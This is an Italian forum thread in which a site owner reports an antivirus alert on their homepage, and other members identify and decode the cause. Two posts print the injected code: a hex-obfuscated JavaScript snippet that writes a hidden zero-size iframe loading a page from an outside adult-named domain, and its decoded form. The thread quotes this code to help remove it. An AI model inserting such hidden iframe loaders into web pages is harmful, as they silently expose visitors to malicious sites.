Visualizzazione risultati 1 fino 7 di 7

Discussione: codice rilevato come virus

  1. #1
    Guest

    Predefinito codice rilevato come virus

    salve a tutti spero di non avere sbagliato posto dove aprire una nuova discussione sui virus.....
    Quando apro il mio sito http://www.spinfamily.altervista.org mi viene detto dal mio antivirus f_secure che c'è un virus e nei dettagli mi dice che il file si chiama ?t=5 ed è collegato ad un sito www fucking pussy com infatti se apro il sito con l'altro pc dove ho un antivirus free non me lo rileva ma vedo che mentre carica la mia index carica anche questo indirizzo di sito...penso porno ma non si vede il sito porno...io vedo il mio.
    Non ho contatori ho google analythic
    vi prego aiutatemi non so come fare,se faccio una scansione delle cartelle del sito che ho sul pc non rileva nulla.
    vi ringrazio anticipatamente
    Ultima modifica di dreadnaut : 10-04-2009 alle ore 01.23.10

  2. #2
    L'avatar di LastWings
    LastWings non è connesso AlterGuru
    Data registrazione
    14-10-2006
    Messaggi
    1,628

    Predefinito

    Prova ad eliminare questa parte di codice:

    Codice HTML:
    <!-- o65 --><Script Language='Javascript'>
    <!--
    document.write(unescape('%3C%49%46%52%41%4D%45%20%73%74%79%6C%65%3D%22%57%49%44%54%48%3A%20%30%25%3B%20%48%45%49%47%48%54%3A%20%30%70%78%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6D%79%66%75%63%6B%69%6E%67%2D%70%75%73%73%79%2E%63%6F%6D%2F%74%79%72%65%6B%2F%3F%74%3D%35%22%20%66%72%61%6D%65%42%6F%72%64%65%72%3D%30%20%73%63%72%6F%6C%6C%69%6E%67%3D%6E%6F%20%0A%61%6C%6C%6F%77%54%72%61%6E%73%70%61%72%65%6E%63%79%3E%3C%2F%49%46%52%41%4D%45%3E'));
    //-->
    </Script><!-- c65 -->
    Ultima modifica di LastWings : 09-04-2009 alle ore 21.51.12
    Ecchi Paradise - Frammenti Perduti - Semplici Parole - Recensioni ed Opinioni

    Non contattatemi privatamente per ricevere supporto, per queste cose esiste il forum pubblico
    .

  3. #3
    Guest

    Predefinito

    ho fatto cosa mi hai suggerito e al momento sembrerebbe risolto....ti ringrazio per l'aiuto

  4. #4
    L'avatar di alemoppo
    alemoppo non è connesso Staff AV
    Data registrazione
    24-08-2008
    Residenza
    PU / BO
    Messaggi
    22,685

    Predefinito

    Quel codice postato da lastwings corrisponde a:

    Codice HTML:
    <IFRAME style="WIDTH: 0%; HEIGHT: 0px" src="http: myfucking pussy com tyrek/?t=5" frameBorder=0 scrolling=no 
    allowTransparency></IFRAME>
    Avevo visto un sito dove trasformava un semplice codice html in caratteri così... Sapete dove trovarlo che non lo ricordo?

    Grazie!


    Ciao!
    Ultima modifica di dreadnaut : 10-04-2009 alle ore 01.23.52

  5. #5
    L'avatar di alemoppo
    alemoppo non è connesso Staff AV
    Data registrazione
    24-08-2008
    Residenza
    PU / BO
    Messaggi
    22,685

    Predefinito



    Mod: se ritenete OT, potete cancellare senza problemi

    Mi riferivo ad una cosa tipo il secondo link, ma questo trasforma solo "<" e ">" ... NON tutte le altre lettere

    Eppure io l'avevo visto... {mi sembra addirittura un sito di AV...}

    Ciao!

  6. #6
    programmazioned non è connesso Utente attivo
    Data registrazione
    25-03-2008
    Messaggi
    440

    Predefinito

    Basta un semplice tool di conversione ascii-esadecimale ;)
    Ciao!
    Ultima modifica di programmazioned : 09-04-2009 alle ore 22.53.40

  7. #7
    L'avatar di seneca
    seneca non è connesso Super Moderatore
    Data registrazione
    18-12-2004
    Residenza
    la Città Eterna
    Messaggi
    8,376

    Predefinito

    Sarebbe più che altro interessante capire come è finito quel codice tra quello della tua pagina.
    Hai per caso aggiunto qualche servizio di statistiche o altro?


    -- Aut Roma Aut Nihil!

Regole di scrittura

  • Non puoi creare nuove discussioni
  • Non puoi rispondere ai messaggi
  • Non puoi inserire allegati.
  • Non puoi modificare i tuoi messaggi
  •